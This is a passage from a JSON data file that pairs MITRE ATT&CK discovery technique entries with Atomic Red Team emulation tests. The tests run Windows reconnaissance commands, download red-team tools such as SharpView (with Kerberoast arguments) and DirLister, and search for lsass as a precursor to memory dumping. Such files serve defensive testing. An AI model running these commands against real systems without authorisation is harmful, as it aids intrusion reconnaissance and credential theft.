- "name": "File and Directory Discovery (cmd.exe)",
- "auto_generated_guid": "0e36303b-6762-4500-b003-127743b80ba6",
- "description": "Find or discover files on the file system. Upon successful execution, this test will output the results of all the data discovery commands to a specified file.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "File to output results to",
- "type": "string",
- "default": "%temp%\\T1083Test1.txt"
- }
- },
- "executor": {
- "command": "dir /s c:\\ >> #{output_file}\ndir /s \"c:\\Documents and Settings\" >> #{output_file}\ndir /s \"c:\\Program Files\\\" >> #{output_file}\ndir \"%systemdrive%\\Users\\*.*\" >> #{output_file}\ndir \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*\" >> #{output_file}\ndir \"%userprofile%\\Desktop\\*.*\" >> #{output_file}\ntree /F >> #{output_file}\n",
- "cleanup_command": "del #{output_file}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "File and Directory Discovery (PowerShell)",
- "auto_generated_guid": "2158908e-b7ef-4c21-8a83-3ce4dd05a924",
- "description": "Find or discover files on the file system. Upon execution, file and folder information will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "ls -recurse\nget-childitem -recurse\ngci -recurse\n",
- "name": "powershell"
- }
- },
- {
- "name": "Simulating MAZE Directory Enumeration",
- "auto_generated_guid": "c6c34f61-1c3e-40fb-8a58-d017d88286d8",
- "description": "This test emulates MAZE ransomware's ability to enumerate directories using Powershell. \nUpon successful execution, this test will output the directory enumeration results to a specified file, as well as display them in the active window. \nSee https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "File_to_output": {
- "description": "File to output results to",
- "type": "string",
- "default": "$env:temp\\T1083Test5.txt"
- }
- },
- "executor": {
- "command": "$folderarray = @(\"Desktop\", \"Downloads\", \"Documents\", \"AppData/Local\", \"AppData/Roaming\")\nGet-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}\nGet-ChildItem -Path \"${env:ProgramFiles(x86)}\" -erroraction silentlycontinue | Out-File -append #{File_to_output}\n$UsersFolder = \"$env:homedrive\\Users\\\"\nforeach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue) \n{\nforeach ($secondarydirectory in $folderarray)\n {Get-ChildItem -Path \"$UsersFolder/$directory/$secondarydirectory\" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}\n}\ncat #{File_to_output}\n",
- "cleanup_command": "remove-item #{File_to_output} -ErrorAction SilentlyContinue\n",
- "name": "powershell"
- }
- },
- {
- "name": "Launch DirLister Executable",
- "auto_generated_guid": "c5bec457-43c9-4a18-9a24-fe151d8971b7",
- "description": "Launches the DirLister executable for a short period of time and then exits.\n\nRecently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dirlister_path": {
- "description": "Path to the DirLister executable ",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1083\\bin\\DirLister.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DirLister.exe must exist in the specified path #{dirlister_path}\n",
- "prereq_command": "if (Test-Path #{dirlister_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "$parentpath = Split-Path \"#{dirlister_path}\"\nInvoke-WebRequest https://github.com/SanderSade/DirLister/releases/download/v2.beta4/DirLister.v2.beta4.zip -OutFile $env:TEMP\\TDirLister.v2.beta4.zip\nNew-Item -ItemType Directory -Force -Path $parentpath | Out-Null\nExpand-Archive -Path $env:TEMP\\TDirLister.v2.beta4.zip -DestinationPath $env:TEMP\\TDirLister.v2.beta4 -Force\nCopy-Item $env:TEMP\\TDirLister.v2.beta4\\* $parentpath -Recurse\nRemove-Item $env:TEMP\\TDirLister.v2.beta4.zip,$env:TEMP\\TDirLister.v2.beta4 -Recurse -ErrorAction Ignore\n"
- }
- ],
- "executor": {
- "command": "Start-Process #{dirlister_path}\nStart-Sleep -Second 4\nStop-Process -Name \"DirLister\"\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1049": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian",
- "Austin Clark, @c2defense"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
- "created": "2017-05-31T21:30:45.139Z",
- "x_mitre_version": "2.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1049",
- "url": "https://attack.mitre.org/techniques/T1049"
- },
- {
- "source_name": "Amazon AWS VPC Guide",
- "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html",
- "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019."
- },
- {
- "source_name": "Microsoft Azure Virtual Network Overview",
- "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview",
- "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019."
- },
- {
- "source_name": "Google VPC Overview",
- "url": "https://cloud.google.com/vpc/docs/vpc",
- "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof
can be used to list current connections. who -a
and w
can be used to show which users are currently logged in, similar to \"net session\". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used.(Citation: US-CERT-TA18-106A)",
- "modified": "2022-04-20T18:14:30.741Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "System Network Connections Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather system and network information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1049"
- },
- "atomic_tests": [
- {
- "name": "System Network Connections Discovery",
- "auto_generated_guid": "0940a971-809a-48f1-9c4d-b1d785e96ee5",
- "description": "Get a listing of network connections.\n\nUpon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "netstat\nnet use\nnet sessions\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "System Network Connections Discovery with PowerShell",
- "auto_generated_guid": "f069f0f1-baad-4831-aa2b-eddac4baac4a",
- "description": "Get a listing of network connections.\n\nUpon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-NetTCPConnection\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Discovery using SharpView",
- "auto_generated_guid": "96f974bb-a0da-4d87-a744-ff33e73367e9",
- "description": "Get a listing of network connections, domains, domain users, and etc. \nsharpview.exe located in the bin folder, an opensource red-team tool.\nUpon successful execution, cmd.exe will execute sharpview.exe . Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "SharpView_url": {
- "description": "sharpview download URL",
- "type": "url",
- "default": "https://github.com/tevora-threat/SharpView/blob/b60456286b41bb055ee7bc2a14d645410cca9b74/Compiled/SharpView.exe?raw=true"
- },
- "SharpView": {
- "description": "Path of the executable opensource redteam tool used for the performing this atomic.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1049\\bin\\SharpView.exe"
- },
- "syntax": {
- "description": "Arguements method used along with SharpView to get listing of network connections, domains, domain users, and etc.",
- "type": "string",
- "default": "\"Invoke-ACLScanner\", \"Invoke-Kerberoast\", \"Find-DomainShare\" \n"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sharpview.exe must exist on disk at specified location (#{SharpView})\n",
- "prereq_command": "if (Test-Path #{SharpView}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{SharpView}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest #{SharpView_url} -OutFile \"#{SharpView}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$syntaxList = #{syntax}\nforeach ($syntax in $syntaxList) {\n#{SharpView} $syntax -}\n"
- }
- }
- ]
- },
- "T1497": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Deloitte Threat Library Team",
- "Sunny Neo"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
- "type": "attack-pattern",
- "created": "2019-04-17T22:22:24.505Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497",
- "url": "https://attack.mitre.org/techniques/T1497"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "Unit 42 Pirpi July 2015",
- "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/",
- "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019."
- }
- ],
- "modified": "2021-10-18T14:57:48.989Z",
- "name": "Virtualization/Sandbox Evasion",
- "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host forensic analysis",
- "Signature-based detection",
- "Static File Analysis"
- ]
- },
- "atomic_tests": []
- },
- "T1619": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Regina Elwell",
- "Isif Ibrahima, Mandiant"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156",
- "created": "2021-10-01T17:58:26.445Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1619",
- "url": "https://attack.mitre.org/techniques/T1619"
- },
- {
- "source_name": "ListObjectsV2",
- "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html",
- "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021."
- },
- {
- "source_name": "List Blobs",
- "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs",
- "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",
- "modified": "2022-04-11T22:29:43.677Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Cloud Storage Object Discovery",
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Cloud Storage: Cloud Storage Access",
- "Cloud Storage: Cloud Storage Enumeration"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1619"
- },
- "atomic_tests": []
- },
- "T1087.004": {
- "technique": {
- "x_mitre_platforms": [
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
- "type": "attack-pattern",
- "created": "2020-02-21T21:08:36.570Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1087.004",
- "url": "https://attack.mitre.org/techniques/T1087/004"
- },
- {
- "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
- "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0",
- "source_name": "Microsoft msolrolemember"
- },
- {
- "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
- "url": "https://github.com/True-Demon/raindance",
- "source_name": "GitHub Raindance"
- },
- {
- "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
- "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest",
- "source_name": "Microsoft AZ CLI"
- },
- {
- "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
- "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/",
- "source_name": "Black Hills Red Teaming MS AD Azure, 2018"
- },
- {
- "source_name": "AWS List Roles",
- "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
- "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
- },
- {
- "source_name": "AWS List Users",
- "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html",
- "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020."
- },
- {
- "source_name": "Google Cloud - IAM Servie Accounts List API",
- "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list",
- "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020."
- }
- ],
- "modified": "2021-03-16T12:54:41.133Z",
- "name": "Cloud Account",
- "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember
PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list
will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users
may be used to obtain a list of users in the current account while aws iam list-roles
can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list
and gcloud projects get-iam-policy
may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1057": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:48.728Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1057",
- "external_id": "T1057"
- },
- {
- "external_id": "CAPEC-573",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/573.html"
- }
- ],
- "modified": "2020-03-26T18:05:53.130Z",
- "name": "Process Discovery",
- "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or Get-Process
via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as CreateToolhelp32Snapshot
. In Mac and Linux, this is accomplished with the ps
command. Adversaries may also opt to enumerate processes via /proc.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Administrator, SYSTEM may provide better process ownership details"
- ],
- "identifier": "T1057"
- },
- "atomic_tests": [
- {
- "name": "Process Discovery - tasklist",
- "auto_generated_guid": "c5806a4f-62b8-4900-980b-c7ec004e9908",
- "description": "Utilize tasklist to identify processes.\n\nUpon successful execution, cmd.exe will execute tasklist.exe to list processes. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "tasklist\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Process Discovery - Get-Process",
- "auto_generated_guid": "3b3809b6-a54b-4f5b-8aff-cb51f2e97b34",
- "description": "Utilize Get-Process PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-Process\n",
- "name": "powershell"
- }
- },
- {
- "name": "Process Discovery - get-wmiObject",
- "auto_generated_guid": "b51239b4-0129-474f-a2b4-70f855b9f2c2",
- "description": "Utilize get-wmiObject PowerShell cmdlet to identify processes.\n\nUpon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "get-wmiObject -class Win32_Process\n",
- "name": "powershell"
- }
- },
- {
- "name": "Process Discovery - wmic process",
- "auto_generated_guid": "640cbf6d-659b-498b-ba53-f6dd1a1cc02c",
- "description": "Utilize windows management instrumentation to identify processes.\n\nUpon successful execution, WMIC will execute process to list processes. Output will be via stdout. \n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic process get /format:list\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Discover Specific Process - tasklist",
- "auto_generated_guid": "11ba69ee-902e-4a0f-b3b6-418aed7d7ddb",
- "description": "Adversaries may use command line tools to discover specific processes in preparation of further attacks. \nExamples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_to_enumerate": {
- "description": "Process name string to search for.",
- "type": "string",
- "default": "lsass"
- }
- },
- "executor": {
- "command": "tasklist | findstr #{process_to_enumerate}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1497.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Deloitte Threat Library Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
- "type": "attack-pattern",
- "created": "2020-03-06T21:04:12.454Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1497.002",
- "url": "https://attack.mitre.org/techniques/T1497/002"
- },
- {
- "source_name": "Deloitte Environment Awareness",
- "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
- "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."
- },
- {
- "source_name": "Sans Virtual Jan 2016",
- "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667",
- "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019."
- },
- {
- "source_name": "Unit 42 Sofacy Nov 2018",
- "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
- "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
- "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
- "source_name": "FireEye FIN7 April 2017"
- }
- ],
- "modified": "2021-10-18T14:57:48.362Z",
- "name": "User Activity Based Checks",
- "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "discovery"
- }
- ],
- "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Static File Analysis",
- "Signature-based detection",
- "Host forensic analysis"
- ]
- },
- "atomic_tests": []
- },
- "T1069.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
- "type": "attack-pattern",
- "created": "2020-03-12T19:29:21.013Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
